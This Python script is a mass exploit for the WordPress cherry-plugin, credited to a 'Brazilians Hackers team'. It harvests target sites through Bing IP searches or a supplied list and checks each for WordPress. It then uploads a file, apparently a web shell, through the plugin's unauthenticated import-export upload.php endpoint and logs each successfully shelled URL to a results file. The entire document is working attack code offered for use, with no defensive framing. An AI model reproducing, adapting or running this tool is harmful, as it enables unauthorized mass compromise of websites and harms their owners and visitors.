exploit_mass_cherry_plugin.py

# *** Brazilians Hackers team ***
# Exploit Mass cherry-plugin

import re , urllib2 , os , requests
from platform import system
if system() == 'Linux':
    os.system('clear')
if system() == 'Windows':
    os.system('cls')
site = []
filname = 'upload.php'
banner = '''

                ``;`                              
             `,+@@@+                              
           .+@@@@@@@;                            
        `;@@@@@@@@@@@                            
       +@@@@@@@@@@@@@:                            
     ;@@@@@@@@@@@@@@@@                            
   `@@@@@@@@@@@@@@@@@@`                          
   `@@@@@@@@@@@@@@@@@@#                          
    .@@@@@@@@@@@@@@@@@@,                          
     :@@@@@@@@@@@@@@@@@@      .'@@                
      #@@@@@@@@@@@@@@@@+;  .+@@@@@                
      `@@@@@@@@@@@@@#;;+@+#@@@#:`                
       #@@@@@@@@@@';'@@@@@@@:`                    
       `@@@@@@@+;;+@@@@@##`                      
        .@@@#;;+@@@@@#+',.,'.                    
         +;;'#@@@@#+;`      ,:                    
         .#@@@@#++:  @.    ...`                  
      `'@@@@#++'. +  .#++;;+  +                  
    ,@@@@@#++:``::+   `',:+,. ,                  
  `@@@@#, #+` ',.`'.   +` ``  `,  .+              
   @@:`  ,+. ,`:``.:   '. .',+++   #              
   ``    #+`++,.`:,``    :`+@@'@@@@'    ````      
         #'`#+:`.,`:` .@@@+@#  +`.      :  `:    
         #:: +.`,.., `@@,#@':. +        :   '    
         #: ` ',:`,, @#``    + +        ' `,;    
         #: ` `:''`  @` #:.. , '        #+++:    
         #: ,     ;#'#  + :   `:         #++      
         #; '     `''         ,          '.      
         ;' '                 #         `@#      
          #.;                ;`       ,#.:;      
          `+;               '.        @   `      
           :#;            `@:        :`  `,      
            .#+;        `'+.'        +            
              .@++#'+@+@++` ;@.     '            
               `' ., ` #:`# `+.#+  :.            
                ., :  @#;.`;`:  `#@.              
                 +``,.;`@+,. '#                  
                 @' ' ;`@:+`#`;`                  
                `#+  ,'`#  :.  '                  
                ' #.  :`#` '`. +                  
                # +.  .:+: :`. .                  
               `, +,   ..+ '`   :                
               ;` #+@:,:#.;``   '                
               #'##:#+.  : `;   ;                
               #. #:      `'`   :                
                  #,        `   .
'''
def unique(seq):
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
print banner
def exploit(link):
    try:
        dirx = '/wp-content/plugins/cherry-plugin/admin/import-export/upload.php'
        xxxxe = link + dirx
        files={'file':(filname, open(filname,'rb'),'multipart/form-data')}
        r = requests.post(xxxxe, files=files)
        bb = filname
        shelldir = '/wp-content/plugins/cherry-plugin/admin/import-export/'+bb
        shelled = link + shelldir
        openbing = urllib2.urlopen(shelled)
        readbing = openbing.read()
        if re.findall("chmod", readbing):
            print ("[#]=> %s [ ok ]" % shelled)
            if not os.path.exists("Result"):
                os.mkdir("Result", 0755);
            with open("Result/sites.txt", 'a') as neo:
                neo.write("[#]--> %s [ ok ]" % shelled)
                neo.write("\n")
    except :
        pass
def test(url):
    try:
        openbing = urllib2.urlopen(url)
        readbing = openbing.read()
        if re.findall("WordPress", readbing):
            print " TESTANDO SITES ---> " + url
            exploit(url)
        else:
            pass
    except:
        pass
def grabber(s):
    global site
    xxxx = []
    page = 1
    while page <= 101:
        bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
        openbing = urllib2.urlopen(bing)
        readbing = openbing.read()
        findwebs = re.findall('<h2><a href="(.*?)"', readbing)
        for i in range(len(findwebs)):
            allnoclean = findwebs[i]
            findall1 = re.findall('http://(.*?)/', allnoclean)
            for idx, item in enumerate(findall1):
                if 'www' not in item:
                    findall1[idx] = 'http://www.' + item + '/'
                else:
                    findall1[idx] = 'http://' + item + '/'
            xxxx.extend(findall1)
        page = page + 10
    final = unique(xxxx)
    site.extend(final)
def main():
    print "\r\n 1-\tPELO IP DO SERVIDOR\n 2-\tPELO SITE\n"
    c = raw_input("ESCOLHA A OPCAO ?\n")
    if c == '1':
        ip = raw_input('[+] DIGITE IP DO SERVIDOR : ')
        try:
            print banner
            grabber(str(ip))
            for _site in site:
                test(_site)
        except:
            pass
    elif c == '2':
            list = raw_input('[+] DIGITE LISTA DE SITES : ')
            try:
                file = open(list).readlines()
                print banner
                if (len(file) > 0):
                    for attack in file:
                        _attack = attack.rstrip()
                        test(_attack)
            except:
                pass
            else:
                pass
if __name__ == '__main__':
    main()